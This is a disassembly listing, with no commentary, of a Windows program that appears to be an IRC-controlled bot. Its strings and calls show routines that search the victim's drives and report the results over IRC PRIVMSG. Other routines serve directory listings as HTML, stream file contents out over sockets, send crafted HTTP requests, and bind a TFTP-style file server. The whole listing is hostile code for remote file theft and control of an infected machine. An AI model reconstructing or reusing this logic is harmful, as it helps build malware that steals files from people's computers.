		jnz	short loc_4047D0
		push	5Ch
		pop	eax
		jmp	short loc_4047D3
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_404716+B3j
		movsx	eax, al


loc_4047D3:				; CODE XREF: sub_404716+B8j
		mov	[ebp+ebx+var_210], al


loc_4047DA:				; CODE XREF: sub_404716+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415C80
		cmp	esi, eax
		pop	ecx
		jb	short loc_404780


loc_4047F0:				; CODE XREF: sub_404716+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_314]
		push	offset asc_425FD0 ; "\n"
		push	eax
		call	sub_416C8F
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:off_422080
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_404841
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404844
		push	[ebp+arg_0]
		jmp	loc_4048C4
; ---------------------------------------------------------------------------


loc_404841:				; CODE XREF: sub_404716+11Cj
		mov	[ebp+var_4], esi


loc_404844:				; CODE XREF: sub_404716+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_404851
		mov	[ebp+var_4], esi


loc_404851:				; CODE XREF: sub_404716+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4048CF
		cmp	[ebp+arg_C], edi
		jz	short loc_4048C3
		lea	eax, [ebp+var_314]
		push	offset asc_425FCC ; "*"
		push	eax
		call	sub_415BA0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_405110
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_415480
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40491E
; ---------------------------------------------------------------------------


loc_4048C3:				; CODE XREF: sub_404716+152j
		push	ebx


loc_4048C4:				; CODE XREF: sub_404716+126j
		call	ds:dword_436500	; closesocket
		jmp	loc_4049C6
; ---------------------------------------------------------------------------


loc_4048CF:				; CODE XREF: sub_404716+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:off_42207C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40491E
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415480
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:off_422078
		push	esi
		mov	[ebp+var_330], eax
		call	ds:off_422074


loc_40491E:				; CODE XREF: sub_404716+1ABj
					; sub_404716+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_425F8C
		push	eax
		call	sub_415480
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F2C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_43BEC4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_404593
		push	edi
		push	edi
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_404998


loc_404986:				; CODE XREF: sub_404716+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_4049C6
		push	5
		call	ds:dword_422054	; Sleep
		jmp	short loc_404986
; ---------------------------------------------------------------------------


loc_404998:				; CODE XREF: sub_404716+26Ej
		push	ebx
		call	ds:dword_436500	; closesocket
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_425F44
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40A5B3
		add	esp, 10h


loc_4049C6:				; CODE XREF: sub_404716+1B4j
					; sub_404716+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049CD	proc near		; CODE XREF: sub_404593+15Ap
					; sub_40D2E0+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415500
		mov	edi, [ebp+arg_0]
		push	offset asc_425FD0 ; "\n"
		push	edi
		call	sub_416C8F
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_404A2C
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 14h
		jmp	loc_404B2B
; ---------------------------------------------------------------------------


loc_404A2C:				; CODE XREF: sub_4049CD+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_404B11
		call	sub_415C80
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		push	edi
		call	sub_415C80
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		jmp	short loc_404B2B
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4049CD+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h


loc_404B2B:				; CODE XREF: sub_4049CD+5Aj
					; sub_4049CD+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_404BC6
		push	[ebp+arg_C]
		call	sub_415C80
		cmp	eax, 2
		pop	ecx
		jbe	short loc_404BC6
		push	[ebp+arg_C]
		call	sub_415C80
		sub	eax, 3
		pop	ecx
		jz	short loc_404B77


loc_404B6B:				; CODE XREF: sub_4049CD+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_404B77
		dec	eax
		jnz	short loc_404B6B


loc_404B77:				; CODE XREF: sub_4049CD+19Cj
					; sub_4049CD+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416D30
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send


loc_404BC6:				; CODE XREF: sub_4049CD+180j
					; sub_4049CD+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:off_422094
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:off_422090
		test	eax, eax
		jz	loc_404FB6
		mov	edi, 1FFh


loc_404BF2:				; CODE XREF: sub_4049CD+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_404F9E
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404F9E
		lea	eax, [ebp+var_35C]
		push	offset a__1	; "."
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404F9E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_42208C	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_422088	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_404C67
		mov	ecx, offset aAm	; "AM"


loc_404C67:				; CODE XREF: sub_4049CD+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_404C73
		sub	eax, 0Ch


loc_404C73:				; CODE XREF: sub_4049CD+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_415480
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_404E16
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404CE7
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_404F5F
; ---------------------------------------------------------------------------


loc_404CE7:				; CODE XREF: sub_4049CD+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_404DD1
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415C80
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404D87
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_404D8C
; ---------------------------------------------------------------------------


loc_404D87:				; CODE XREF: sub_4049CD+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_404D8C:				; CODE XREF: sub_4049CD+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_404F60
; ---------------------------------------------------------------------------


loc_404DD1:				; CODE XREF: sub_4049CD+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 14h
		jmp	loc_404F6F
; ---------------------------------------------------------------------------


loc_404E16:				; CODE XREF: sub_4049CD+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404E55
		push	ebx
		push	[ebp+var_368]
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_404E41:				; CODE XREF: sub_4049CD+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4159FA
		add	esp, 1Ch
		jmp	loc_404F6F
; ---------------------------------------------------------------------------


loc_404E55:				; CODE XREF: sub_4049CD+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_404F49
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415C80
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_404EF5
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_404EFA
; ---------------------------------------------------------------------------


loc_404EF5:				; CODE XREF: sub_4049CD+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_404EFA:				; CODE XREF: sub_4049CD+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_404E41
; ---------------------------------------------------------------------------


loc_404F49:				; CODE XREF: sub_4049CD+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_404F5F:				; CODE XREF: sub_4049CD+315j
		push	esi


loc_404F60:				; CODE XREF: sub_4049CD+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4159FA
		add	esp, 18h


loc_404F6F:				; CODE XREF: sub_4049CD+444j
					; sub_4049CD+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_404F9E
		push	7D0h
		call	ds:dword_422054	; Sleep


loc_404F9E:				; CODE XREF: sub_4049CD+22Bj
					; sub_4049CD+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:off_422090
		test	eax, eax
		jnz	loc_404BF2


loc_404FB6:				; CODE XREF: sub_4049CD+21Aj
		push	[ebp+arg_0]
		call	ds:off_422084
		cmp	[ebp+arg_8], ebx
		jz	short loc_404FF9
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40B62E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_415480
		add	esp, 14h
		jmp	short loc_40502D
; ---------------------------------------------------------------------------


loc_404FF9:				; CODE XREF: sub_4049CD+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_405013
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	short loc_40502D
; ---------------------------------------------------------------------------


loc_405013:				; CODE XREF: sub_4049CD+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_415480
		add	esp, 10h


loc_40502D:				; CODE XREF: sub_4049CD+62Aj
					; sub_4049CD+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4364B8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4049CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405053	proc near		; CODE XREF: sub_404593+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:off_42207C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40510B
		push	esi
		push	ebx
		call	ds:off_422078
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_405104


loc_405098:				; CODE XREF: sub_405053+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4050B5
		mov	edi, [ebp+arg_4]


loc_4050B5:				; CODE XREF: sub_405053+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:off_42209C
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:off_422098
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050FF
		call	ds:dword_4363FC	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_405104
		xor	eax, eax


loc_4050FF:				; CODE XREF: sub_405053+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_405098


loc_405104:				; CODE XREF: sub_405053+43j
					; sub_405053+A8j
		push	ebx
		call	ds:off_422074


loc_40510B:				; CODE XREF: sub_405053+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405053	endp


; =============== S U B	R O U T	I N E =======================================



sub_405110	proc near		; CODE XREF: sub_404716+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415C80
		test	eax, eax
		pop	ecx
		jbe	short loc_405139


loc_405123:				; CODE XREF: sub_405110+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40512D
		mov	byte ptr [esi+edi], 2Fh


loc_40512D:				; CODE XREF: sub_405110+17j
		push	edi
		inc	esi
		call	sub_415C80
		cmp	esi, eax
		pop	ecx
		jb	short loc_405123


loc_405139:				; CODE XREF: sub_405110+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40513E	proc near		; CODE XREF: sub_40D2E0+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_4363E0	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_4364E8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_436468	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409410
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_436410	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40521B
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4051B7
		mov	eax, offset byte_4325D8


loc_4051B7:				; CODE XREF: sub_40513E+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_4364B8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415560
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_436480	; recv
		pop	esi


loc_40521B:				; CODE XREF: sub_40513E+6Bj
		push	ebx
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363C8	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_415480
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40525B
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_40525B:				; CODE XREF: sub_40513E+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40513E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40525F	proc near		; CODE XREF: sub_40525F:loc_40574Ap
					; DATA XREF: sub_405898+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_405322
		push	190h
		call	ds:dword_422054	; Sleep
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4265AC
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405302
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40BAE7
		add	esp, 14h


loc_405302:				; CODE XREF: sub_40525F+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_170]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread


loc_405322:				; CODE XREF: sub_40525F+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43BECC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	ds:dword_436468	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	ds:dword_436494	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405387
		push	1388h
		call	ds:dword_422054	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_40574A
; ---------------------------------------------------------------------------


loc_405387:				; CODE XREF: sub_40525F+10Dj
